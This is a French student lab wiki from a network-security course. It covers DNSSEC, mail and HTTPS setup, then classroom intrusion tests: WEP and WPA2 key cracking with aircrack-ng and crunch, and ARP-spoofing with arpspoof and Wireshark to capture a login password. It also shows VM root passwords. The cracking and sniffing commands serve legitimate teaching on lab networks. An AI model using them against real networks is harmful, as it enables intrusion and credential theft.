Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54004TP sysres IMA2a5 2020/2021 G52020-11-25T13:26:32Z<p>Aglaine : /* Tableau Récapitulatif */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
